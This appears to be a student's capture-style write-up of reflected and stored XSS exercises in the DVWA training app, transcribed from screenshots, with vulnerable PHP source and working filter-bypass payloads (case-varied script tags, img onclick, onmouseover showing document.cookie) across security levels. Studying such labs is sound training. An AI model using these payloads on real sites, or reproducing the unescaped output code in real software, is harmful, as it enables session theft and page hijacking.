



Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

```
Hello alert("Houston, we have a problem!")
```

More info

<http://ha.ckers.org/xss.html>
http://en.wikipedia.org/wiki/Cross-site_scripting
<http://www.cgisecurity.com/xss-faq.html>

[Home](#)

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS stored

DVWA Security

PHP Info

About

Logout

```
Username: admin
Security Level: medium
PHPIDS: disabled
```

[View Source](#) [View Help](#)



Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Hello

Gotcha!!!

OK

More info

<http://hackerz.com>
<http://en.wikipedia.org>
<http://www.cgi.com>

- Home
- Instructions
- Setup
- Brute Force
- Command Execution
- CSRF
- File Inclusion
- SQL Injection
- SQL Injection (Blind)
- Upload
- XSS reflected**
- XSS stored
- DVWA Security
- PHP Info
- About
- Logout

Username: admin
Security Level: medium
PHPIDS: disabled

[View Source](#) [View Help](#)

Notes - Notes

Ali Alimohammadi - 9613027
Amirkabir University of Technology

Scripting (XSS)

Let's try an alert script... and nothing happens. Seems there's some kind of filtering going on. We're not out of options still. Open the Developer Tools and take a look at the html:

Testing for vulnerabilities...

```
<script>alert("Houston, we have a problem!!")</script>
```

We're looking to break the page's logic and insert a crafted tag. After some trial and error I've managed to insert the following value.

As you see, it's not case-sensitive! So we can run our script!! :)))

```
<scRipt>alert("Houston, we have a problem!!")</script>
```

OR

```
<</select><img src='#' onclick=alert('Gotcha!!!')>
```

←→×

s132300-101047-c6h.croto.hack.me/vulnerabilities/xss_r/?name=<script>alert("Houston%2C+we+have+a+problem!")<%2Fscript>#

⋮🔒★

🏠Homepage

📄Forum

📖Wiki

🚀Getting Started

🌐Mozilla News

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

About

Logout

DVWA

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Hello

Submit

Houston, we have a problem!

OK

Notes - Notes

Ali Alimohammadi - 9613027
Amirkabir University of Technology

Scripting (XSS)

Let's try an alert script... and nothing happens. Seems there's some kind of filtering going on. We're not out of options still. Open the Developer Tools and take a look at the html:

Testing for vulnerabilities...

<script>alert("Houston, we have a problem!!")</script>

We're looking to break the page's logic and insert a crafted tag. After some trial and error I've managed to insert the following value.

As you see, it's not case-sensitive! So we can run our script!! :)))

<script>alert("Houston, we have a problem!!")</script>

OR

<</select>



Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Submit

__utmc=233483271; PHPSESSID=m5rc6hr0m6vpveq1g80otsijb7; security=medium;
__utma=233483271.1563950178.1593703067.1593703067.1593703067.1;
__utmz=233483271.1593703067.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __unam=657356c-173101adf86-79e6adc2-6

OK

Notes - Notes

Ali Alimohammadi - 9613027
Amirkabir University of Technology

---- Low ----

Let's try an alert script... and nothing happens. Seems there's some kind of filtering going on. We're not out of options still. Open the Developer Tools and take a look at the html:

Testing for vulnerabilities...

```
<script>alert("Houston, we have a problem!!")</script>
```

```
<script>alert(document.cookie)</script>
```

---- Medium ----

We're looking to break the page's logic and insert a crafted tag. After some trial and error I've managed to insert the following value.

As you see, it's not case-sensitive! So we can run our script!! :)))

```
<script>alert("Houston, we have a problem!!")</script>
```

OR

```
</select><img src='#' onclick=alert('Gotcha!!!')>
```

Now we can extract the cookies.

```
<script>alert(document.cookie)</script>
```

Reflected XSS

High Reflected XSS Source

```
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
    $isempty = true;
} else {
    echo '<pre>';
    echo 'Hello ' . htmlspecialchars($_GET['name']);
    echo '</pre>';
}
?>
```

Medium Reflected XSS Source

```
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
    $isempty = true;
} else {
    echo '<pre>';
    echo 'Hello ' . str_replace('<script>', '', $_GET['name']);
    echo '</pre>';
}
?>
```

Low Reflected XSS Source

```
<?php
if(!array_key_exists ("name", $_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
    $isempty = true;
} else {
    echo '<pre>';
    echo 'Hello ' . $_GET['name'];
    echo '</pre>';
}
?>
```


←→↺🏠

s132300-101047-c6h.croto.hack.me/vulnerabilities/xss_r?name=#

⋮🔍🌟

⬇️📄📱🌐🔌☰

🏠 Homepage🗨️ Forum📖 Wiki🚀 Getting Started🌐 Mozilla News

DVWA

HomeInstructionsSetupBrute ForceCommand ExecutionCSRFFile InclusionSQL InjectionSQL Injection (Blind)UploadXSS reflectedXSS storedDVWA SecurityPHP InfoAboutLogout

Username: admin
Security Level: high
PHPIDS: disabled

Vulnerability: Reflected Cross Site Scripting (XSS)

What's your name?

Hello

More info
<http://ha.ckers.org/xss.html>
http://en.wikipedia.org/wiki/Cross-site_scripting
<http://www.cgisecurity.com/xss-faq.html>

Damn Vulnerable Web Application (DVWA) v1.0.7

Notes - Notes

Ali Alimohammadi - 9613027
Amirkabir University of Technology

As we seen previously, the PHP htmlspecialchars() function has been used for High Security Level. So let's take a look at the corresponding PHP document.

View SourceView Help

htmlspecialchars

(PHP 4, PHP 5, PHP 7)

htmlspecialchars — Convert special characters to HTML entities

Description

```
htmlspecialchars ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = TRUE ]]] ) : string
```

Certain characters have special significance in HTML, and should be represented by HTML entities if they are to preserve their meanings. This function returns a string with these conversions made. If you require all input substrings that have associated named entities to be translated, use [htmlentities\(\)](#) instead.

If the input string passed to this function and the final document share the same character set, this function is sufficient to prepare input for inclusion in most contexts of an HTML document. If, however, the input can represent characters that are not coded in the final document character set and you wish to retain those characters (as numeric or named entities), both this function and [htmlentities\(\)](#) (which only encodes substrings that have named entity equivalents) may be insufficient. You may have to use [mb_encode_numericentity\(\)](#) instead.


Performed translations

Character	Replacement
& (ampersand)	<code>&amp;</code>
" (double quote)	<code>&quot;</code> ; unless <code>ENT_NOQUOTES</code> is set
' (single quote)	<code>&#039;</code> (for <code>ENT_HTML401</code>) or <code>&apos;</code> (for <code>ENT_XML1</code> , <code>ENT_XHTML</code> or <code>ENT_HTML5</code>), but only when <code>ENT_QUOTES</code> is set
< (less than)	<code>&lt;</code>
> (greater than)	<code>&gt;</code>

- [addcslashes](#)
- [addslashes](#)
- [bin2hex](#)
- [chop](#)
- [chr](#)
- [chunk_split](#)
- [convert_cyr_string](#)
- [convert_uuencode](#)
- [convert_uuencode](#)
- [count_chars](#)
- [crc32](#)
- [crypt](#)
- [echo](#)
- [explode](#)
- [fprintf](#)
- [get_html_translation_table](#)
- [hebrew](#)
- [hebrevc](#)
- [hex2bin](#)
- [html_entity_decode](#)
- [htmlentities](#)
- [htmlspecialchars_decode](#)
- » [htmlspecialchars](#)**
- [implode](#)
- [join](#)
- [lcfirst](#)
- [levenshtein](#)
- [localeconv](#)
- [ltrim](#)
- [md5_file](#)
- [md5](#)
- [metaphone](#)
- [money_format](#)
- [nl_langinfo](#)
- [nl2br](#)

← → ↻ 🏠 s132300-101047-c6h.croto.hack.me/vulnerabilities/xss_r?name=<script>alert("Houston%2C+we+have+a+problem!")<%2Fscript>#

🏠 Homepage 📖 Forum 📖 Wiki 🌐 Getting Started 🌐 Mozilla News



Vulnerability: Reflected Cross Site Scripting (XSS)

__utmc=233483271; PHPSESSID=m5rc6hr0m6vpveq1g80otsib7; security=high; __utma=233483271.1563950178.1593703067.1593703067.1593703067.1; __utmz=233483271.1593703067.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __unam=657356c-173101adf86-79e6adc2-6

OK

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

More info

<http://hackers.org/xss.html>
http://en.wikipedia.org/wiki/Cross-site_scripting
<http://www.cgisecurity.com/xss-faq.html>

🔍 Search HTML

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
  <head>
  </head>
  <body class="home">
    <div id="container">
      <div id="header">
      </div>
      <div id="main_menu">
      </div>
      <div id="main_body">
        <div class="body_padded">
          <h1>
          </h1>
          <div class="vulnerable_code_area">
            <form name="XSS" action="#" method="GET">
              <p>What's your name?</p>
              <input type="text" name="name" onmouseover="alert(document.cookie)">
              <input type="submit" value="Submit">
            </form>
            <pre>
            </pre>
          </div>
          <h2>More info</h2>
        </div>
      </div>
    </div>
  </body>
</html>
```

html > body.home > div#container > div#main_body > div.body_padded

Filter Styles

element { inline}

div.body_padded { main.css:151
padding-left: 20px;
padding-right: 20px;
}

Inherited from div#main_body

div#main_body { main.css:141
font-size: 13px;
}

Inherited from div#container

div#container { main.css:118
font-size: 13px;
}

Inherited from body

body { main.css:1
color: #2f2f2f;
font: 12px/15px Arial, Helvetica, sans-serif;
}

Layout

Computed

Changes

Fonts

Anim

Flexbox

Grid

Box Model

margin

border

padding

653x261.683

693x261.683 static

Box Model Properties

Ali Alimohammadi - 9613027

Amirkabir University of Technology

---- High ----

As we seen previously, the PHP htmlspecialchars() function has been used for High Security Level. So let's take a look at the corresponding PHP document.

Next, you'd want to close the tag and start a new one (e.g. <script>) but htmlspecialchars() doesn't let you (as it escapes > and <). So instead, you have to use an event handler that works for <input> tags. The onload event handler doesn't apply to input boxes but you can use others, e.g.onmouseover. (The side effect is that you will need minimal user interaction to trigger the XSS, or need to take advantage of additional attributes like autofocus to have it triggered immediately on page load.)

So I added

```
onmouseover=alert(document.cookie)
```

to the input.



- Home
- Instructions
- Setup
- Brute Force
- Command Execution

Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Message *

__utmc=233483271; PHPSESSID=m5rc6hr0m6vpveq1g80otsijb7; security=low; __utma=233483271.1563950178.1593703067.1593703067.1593703067.1; __utmz=233483271.1593703067.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __unam=657356c-173101adf86-79e6adc2-6

OK

- XSS stored
- DVWA Security
- PHP Info
- About
- Logout

Notes - Notes

Ali Alimohammadi - 9613027
Amirkabir University of Technology

---- Low ----

Name: Hello

Message:

<script>alert(document.cookie)</script>|

←→↺🏠

s132300-101047-c6h.croto.hack.me/vulnerabilities/xss_s/

📄⋮🔖

↓🔍📄🌐🔄🏠☰

HomepageForumWikiGetting StartedMozilla News

Damn Vulnerable Web App (DVWA) v1.0.7 :: Source - Mo

s132300-101047-c6h.croto.hack.me/vulnerabilities/vie

```
$name = trim($_POST['txtName']);

// Sanitize message input
$message = trim(strip_tags(addslashes($message)));
$message = mysql_real_escape_string($message);
$message = htmlspecialchars($message);

// Sanitize name input
$name = str_replace('<script>', '', $name);
$name = mysql_real_escape_string($name);

$query = "INSERT INTO guestbook (comment,name) VALUES ('$message','$name)";
$result = mysql_query($query) or die('<pre>' . mysql_error() . '</pre>');
```

Home

Instructions

Setup

Brute Force

Command Execution

CSRF

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

DVWA

Vulnerability: Stored Cross Site Scripting (XSS)

Name *<script>alert(document.cookie)</script>

Message *Case-Sensitivity

Sign Guestbook

Name: test
Message: This is a test comment.

Name: Hello
Message:

Name: Hello
Message:

Name: Hello
Message: alert('\HACK')

🔍📄🔧📡🛠️⚙️🧠💾👤🆕

InspectorConsoleDebugger↕️Network{}Style Editor🔄Performance🧠Memory📁Storage👤Accessibility🛠️What's New

Search HTML

<div id="main_body">

<div class="body_padded"><h1>Vulnerability: Stored Cross Site Scripting (XSS)</h1><div class="vulnerable_code_area"><form method="post" name="guestform" onsubmit="return validate_form(this)">event<table width="550" cellpadding="2" border="0"><tbody><tr><td width="100">Name *</td><td><input name="txtName" type="text" size="30" maxlength="40"></td></tr></tbody></table></form></div></div>
</div>

+🔍

Filter Styles

hov .cls +📄

LayoutComputedChangesFontsAnim

element { inline}

input, textarea, select { main.css:32font: 100% arial,sans-serif;vertical-align: middle;

Inherited from div#main_body

div#main_body { main.css:141font-size: 13px;

Inherited from div#container

div#container { main.css:118font-size: 13px;

Inherited from body

body { main.css:1color: #2f2f2f;font-size: 12px/15px Arial, Helvetica, sans-serif;

Flexbox

Grid


Box Model

marginborderpadding

0211180

253x22

271x28static



Home

Instructions

Setup

Brute Force

Command Execution

Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Message *

__utmc=233483271; PHPSESSID=m5rc6hr0m6vpveq1g80otsijb7; security=medium; __utma=233483271.1563950178.1593703067.1593703067.1593703067.1; __utmz=233483271.1593703067.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __unam=657356c-173101adf86-79e6adc2-6

☐ Prevent this page from creating additional dialogs

OK

- XSS stored
- DVWA Security
- PHP Info
- About
- Logout

Notes - Notes

Ali Alimohammadi - 9613027
Amirkabir University of Technology

---- Medium ----


There is limit for maximum length of the Name at Front-End. First we change that to 40.

Then we test for Case-Sensitivity at Name field.

And they are hacked! :))

← → ↻ 🏠 s132300-101047-c6h.croto.hack.me/vulnerabilities/xss_s/ 📄 ⋮ 📌 ⭐ ⚙️ 📄 📄 📄 📄 📄 📄 📄 📄

🏠 Homepage 📄 Forum 📄 Wiki 🌐 Getting Started 🌐 Mozilla News



Vulnerability: Stored Cross Site Scripting (XSS)

File Inclusion

SQL Injection

SQL Injection (Blind)

Upload

XSS reflected

XSS stored

DVWA Security

PHP Info

Name: test
Message: This is a test comment.

Name: Hello
Message: <script>alert(document.cookie)</script>

Name: Hello
Message: <script>alert(document.cookie)</script>

Name: Hello
Message: alert('\HACK')

Alert Dialog

__utmc=233483271; PHPSESSID=m5rc6hr0m6vpveq1g80otsijb7; security=high; __utma=233483271.1563950178.1593703067.1593703067.1; __utmz=233483271.1593703067.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=(not%20provided); __unam=657356c-173101adf86-79e6adc2-6

OK

Notes - Notes

Ali Alimohammadi - 9613027
Amirkabir University of Technology

---- High ----

\$name = htmlspecialchars(\$name);

So we can not use any html tags here.

So just like before, we use onmouseover tag once more. :)))

Inspector Console Debugger ↕ Network {} Style Editor 🔄 Performance 🧠 Memory 📄 Storage 🚫 Accessibility 🧩 What's New

🔍 Search HTML

```
<div id="main_body">
  <div class="body_padded">
    <h1>Vulnerability: Stored Cross Site Scripting (XSS)</h1>
    <div class="vulnerable_code_area">
      <form method="post" name="guestform" onsubmit="return validate_form(this)">
        <table width="550" cellspacing="1" cellpadding="2" border="0">
          <tbody>
            <tr>
              <td width="100">Name *</td>
              <td>
                <input name="txtName" type="text" size="30" maxlength="10">
              </td>
            </tr>
            <tr>
              <td width="100">Message *</td>
              <td>
                <textarea name="mtxMessage" cols="50" rows="3" maxlength="50" onmouseover="alert(document.cookie)">
              </td>
            </tr>
          </tbody>
        </table>
      </form>
    </div>
  </div>
</div>
```

html > body.home > div#container > div#main_body > div.body_padded > div.vulnerable_code_area > form > table > tbody > tr > td > textarea

Filter Styles

element { }

input, textarea, select { font: 100% arial,sans-serif; vertical-align: middle; }

Inherited from div#main_body

div#main_body { font-size: 13px; }

Inherited from div#container

div#container { font-size: 13px; }

Inherited from body

body { color: #2f2f2f; font: 12px/15px Arial, Helvetica, sans-serif; }

Grid

CSS Grid is not in use on this page

Box Model

margin

border

padding

429x57

429x57 static